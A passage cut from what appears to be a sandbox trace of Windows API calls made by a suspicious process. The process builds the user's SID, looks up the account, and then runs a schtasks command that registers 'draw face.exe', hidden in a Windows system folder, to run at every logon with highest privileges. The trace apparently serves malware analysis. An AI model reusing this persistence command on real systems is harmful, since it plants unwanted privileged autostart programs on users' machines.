0x196ee7aae24 [0120.375] free (_Block=0x196ef0d1ac0) [0120.375] free (_Block=0x196ef0d1ba0) [0120.375] malloc (_Size=0x18) returned 0x196ef0d1a80 [0120.375] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.375] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0120.375] SysStringLen (param_1="1811730007") returned 0xa [0120.375] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0120.375] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0120.375] free (_Block=0x196ef0d20e0) [0120.375] free (_Block=0x196ef0d1a80) [0120.375] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0db8 [0120.375] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0120.375] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0120.376] malloc (_Size=0x18) returned 0x196ef0d19e0 [0120.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0120.376] SysStringLen (param_1="-") returned 0x1 [0120.376] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0120.376] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0120.376] free (_Block=0x196ef0d1ba0) [0120.376] free (_Block=0x196ef0d1bc0) [0120.376] malloc (_Size=0x18) returned 0x196ef0d1d80 [0120.376] malloc (_Size=0x18) returned 0x196ef0d1d00 [0120.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0120.376] SysStringLen (param_1="1000") returned 0x4 [0120.376] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0120.376] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7c7558, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0120.376] free (_Block=0x196ef0d19e0) [0120.376] free (_Block=0x196ef0d1d80) [0120.376] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0120.376] malloc (_Size=0x5e) returned 0x196ef0d0450 [0120.376] free (_Block=0x196ef0d1d00) [0120.376] malloc (_Size=0x18) returned 0x196ef0d1d20 [0120.377] free (_Block=0x196ef0d0450) [0120.377] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0120.379] GetLastError () returned 0x7a [0120.379] malloc (_Size=0x1a) returned 0x196ef0fa150 [0120.379] malloc (_Size=0xe) returned 0x196ef0d19c0 [0120.379] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa150, cchName=0x67117c600, ReferencedDomainName=0x196ef0d19c0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0120.380] malloc (_Size=0x18) returned 0x196ef0d1f40 [0120.380] malloc (_Size=0x18) returned 0x196ef0d1d40 [0120.380] free (_Block=0x196ef0fa150) [0120.380] free (_Block=0x196ef0d19c0) [0120.380] free (_Block=0x196ef0f9b80) [0120.380] free (_Block=0x196ef0d1d40) [0120.380] free (_Block=0x196ef0d1f40) [0120.380] free (_Block=0x196ef0d1d20) [0120.381] free (_Block=0x196ef0d0d90) [0120.381] malloc (_Size=0x48) returned 0x196ef0ccda0 [0120.381] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffa77c00000 [0120.392] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffa77c034a0 [0120.392] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="CreateEnvironmentBlock") returned 0x7ffa77c034d0 [0120.392] malloc (_Size=0x18) returned 0x196ef0d2040 [0120.392] CreateEnvironmentBlock () returned 0x1 [0120.398] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.398] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"draw face\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"draw face\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x12cc, dwThreadId=0x123c)) returned 1 [0120.405] CloseHandle (hObject=0x260) returned 1 [0120.405] CloseHandle (hObject=0x264) returned 1 [0120.405] free (_Block=0x196ef0d1ba0) [0120.406] DestroyEnvironmentBlock () returned 0x1 [0120.406] malloc (_Size=0x48) returned 0x196ef0cd160 [0120.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x289fe3be, dwHighDateTime=0x1d9eb0c)) [0120.406] SetEvent (hEvent=0x248) returned 1 [0120.406] CloseHandle (hObject=0x26c) returned 1 [0120.406] CloseHandle (hObject=0x270) returned 1 [0120.412] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0120.412] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0120.412] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0120.412] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0121.224] RtlRestoreLastWin32Error () returned 0x670dbf000 [0121.224] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0121.225] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0121.225] RtlRestoreLastWin32Error () returned 0x670dbf000 [0121.225] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0121.225] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0121.225] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0121.225] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0121.225] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0121.225] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0121.227] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0121.228] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0121.228] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0121.228] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0121.228] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0121.231] GetCurrentThread () returned 0xfffffffffffffffe [0121.231] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0121.231] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0121.231] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0121.231] GetLastError () returned 0x7a [0121.231] malloc (_Size=0x2c) returned 0x196ef0d0c90 [0121.231] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0c90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0c90, ReturnLength=0x67117c740) returned 1 [0121.231] IsValidSid (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0121.232] GetLengthSid (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0121.232] malloc (_Size=0x1c) returned 0x196ef0f9c40 [0121.232] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9c40, pSourceSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9c40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0121.232] GetSidIdentifierAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ca2 [0121.232] malloc (_Size=0x18) returned 0x196ef0d1c20 [0121.232] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0121.232] malloc (_Size=0x18) returned 0x196ef0d1a20 [0121.232] malloc (_Size=0x18) returned 0x196ef0d1de0 [0121.232] SysStringLen (param_1="S-1-") returned 0x4 [0121.232] SysStringLen (param_1="5") returned 0x1 [0121.232] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7aa688, _Size=0xa | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0121.232] memcpy (in: _Dst=0x196ee7c7080, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7c7080) returned 0x196ee7c7080 [0121.232] free (_Block=0x196ef0d1c20) [0121.232] free (_Block=0x196ef0d1a20) [0121.232] GetSidSubAuthorityCount (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ca1 [0121.232] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0ca8 [0121.232] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0121.232] malloc (_Size=0x18) returned 0x196ef0d2080 [0121.232] malloc (_Size=0x18) returned 0x196ef0d1a80 [0121.232] SysStringLen (param_1="S-1-5") returned 0x5 [0121.232] SysStringLen (param_1="-") returned 0x1 [0121.232] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7c7078, _Size=0xc | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0121.233] memcpy (in: _Dst=0x196ee7aaa52, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7aaa52) returned 0x196ee7aaa52 [0121.233] free (_Block=0x196ef0d1de0) [0121.233] free (_Block=0x196ef0d2080) [0121.233] malloc (_Size=0x18) returned 0x196ef0d1b00 [0121.233] malloc (_Size=0x18) returned 0x196ef0d1b20 [0121.233] SysStringLen (param_1="S-1-5-") returned 0x6 [0121.233] SysStringLen (param_1="21") returned 0x2 [0121.233] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7aaa48, _Size=0xe | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0121.233] memcpy (in: _Dst=0x196ee7aa694, _Src=0x196ee7c7078, _Size=0x6 | out: _Dst=0x196ee7aa694) returned 0x196ee7aa694 [0121.233] free (_Block=0x196ef0d1a80) [0121.233] free (_Block=0x196ef0d1b00) [0121.233] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0cac [0121.233] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0121.233] malloc (_Size=0x18) returned 0x196ef0d1b40 [0121.233] malloc (_Size=0x18) returned 0x196ef0d1f60 [0121.233] SysStringLen (param_1="S-1-5-21") returned 0x8 [0121.233] SysStringLen (param_1="-") returned 0x1 [0121.233] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7aa688, _Size=0x12 | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0121.233] memcpy (in: _Dst=0x196ee7c7088, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7c7088) returned 0x196ee7c7088 [0121.233] free (_Block=0x196ef0d1b20) [0121.233] free (_Block=0x196ef0d1b40) [0121.234] malloc (_Size=0x18) returned 0x196ef0d1d60 [0121.234] malloc (_Size=0x18) returned 0x196ef0d1a20 [0121.234] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0121.234] SysStringLen (param_1="1560258661") returned 0xa [0121.234] memcpy (in: _Dst=0x196ee777208, _Src=0x196ee7c7078, _Size=0x14 | out: _Dst=0x196ee777208) returned 0x196ee777208 [0121.234] memcpy (in: _Dst=0x196ee77721a, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee77721a) returned 0x196ee77721a [0121.234] free (_Block=0x196ef0d1f60) [0121.234] free (_Block=0x196ef0d1d60) [0121.234] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0cb0 [0121.234] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0121.234] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0121.234] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0121.234] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0121.234] SysStringLen (param_1="-") returned 0x1 [0121.234] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee777208, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0121.234] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0121.234] free (_Block=0x196ef0d1a20) [0121.234] free (_Block=0x196ef0d1ba0) [0121.234] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0121.234] malloc (_Size=0x18) returned 0x196ef0d20e0 [0121.235] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0121.235] SysStringLen (param_1="3990802383") returned 0xa [0121.235] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0121.235] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0121.235] free (_Block=0x196ef0d1ac0) [0121.235] free (_Block=0x196ef0d1ba0) [0121.235] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0cb4 [0121.235] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0121.235] malloc (_Size=0x18) returned 0x196ef0d1a60 [0121.235] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0121.235] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0121.235] SysStringLen (param_1="-") returned 0x1 [0121.235] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0121.235] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0121.235] free (_Block=0x196ef0d20e0) [0121.235] free (_Block=0x196ef0d1a60) [0121.235] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0121.235] malloc (_Size=0x18) returned 0x196ef0d19e0 [0121.235] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0121.235] SysStringLen (param_1="1811730007") returned 0xa [0121.235] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0121.236] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0121.236] free (_Block=0x196ef0d1ba0) [0121.236] free (_Block=0x196ef0d1bc0) [0121.236] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0cb8 [0121.236] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0121.236] malloc (_Size=0x18) returned 0x196ef0d1d80 [0121.236] malloc (_Size=0x18) returned 0x196ef0d1d00 [0121.236] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0121.236] SysStringLen (param_1="-") returned 0x1 [0121.236] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0121.236] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0121.236] free (_Block=0x196ef0d19e0) [0121.236] free (_Block=0x196ef0d1d80) [0121.236] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0121.236] malloc (_Size=0x18) returned 0x196ef0d1d20 [0121.236] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0121.236] SysStringLen (param_1="1000") returned 0x4 [0121.236] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0121.236] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7c7078, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0121.236] free (_Block=0x196ef0d1d00) [0121.236] free (_Block=0x196ef0d1aa0) [0121.236] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0121.237] malloc (_Size=0x5e) returned 0x196ef0d0370 [0121.237] free (_Block=0x196ef0d1d20) [0121.237] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0121.237] free (_Block=0x196ef0d0370) [0121.237] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0121.238] GetLastError () returned 0x7a [0121.238] malloc (_Size=0x1a) returned 0x196ef0fa0c0 [0121.238] malloc (_Size=0xe) returned 0x196ef0d1bc0 [0121.238] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0c0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1bc0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0121.239] malloc (_Size=0x18) returned 0x196ef0d19c0 [0121.239] malloc (_Size=0x18) returned 0x196ef0d1b00 [0121.239] free (_Block=0x196ef0fa0c0) [0121.240] free (_Block=0x196ef0d1bc0) [0121.240] free (_Block=0x196ef0f9c40) [0121.240] free (_Block=0x196ef0d1b00) [0121.240] free (_Block=0x196ef0d19c0) [0121.240] free (_Block=0x196ef0d1ee0) [0121.240] free (_Block=0x196ef0d0c90) [0121.241] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0121.241] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0121.241] GetLastError () returned 0x7a [0121.241] malloc (_Size=0x2c) returned 0x196ef0d1090 [0121.241] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1090, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1090, ReturnLength=0x67117c740) returned 1 [0121.241] IsValidSid (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0121.241] GetLengthSid (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0121.241] malloc (_Size=0x1c) returned 0x196ef0f9ee0 [0121.241] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ee0, pSourceSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0121.241] GetSidIdentifierAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d10a2 [0121.241] malloc (_Size=0x18) returned 0x196ef0d19a0 [0121.241] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0121.241] malloc (_Size=0x18) returned 0x196ef0d1a60 [0121.241] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0121.241] SysStringLen (param_1="S-1-") returned 0x4 [0121.241] SysStringLen (param_1="5") returned 0x1 [0121.241] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7c7078, _Size=0xa | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0121.241] memcpy (in: _Dst=0x196ee7aa690, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa690) returned 0x196ee7aa690 [0121.241] free (_Block=0x196ef0d19a0) [0121.241] free (_Block=0x196ef0d1a60) [0121.242] GetSidSubAuthorityCount (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d10a1 [0121.242] GetSidSubAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d10a8 [0121.242] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0121.242] malloc (_Size=0x18) returned 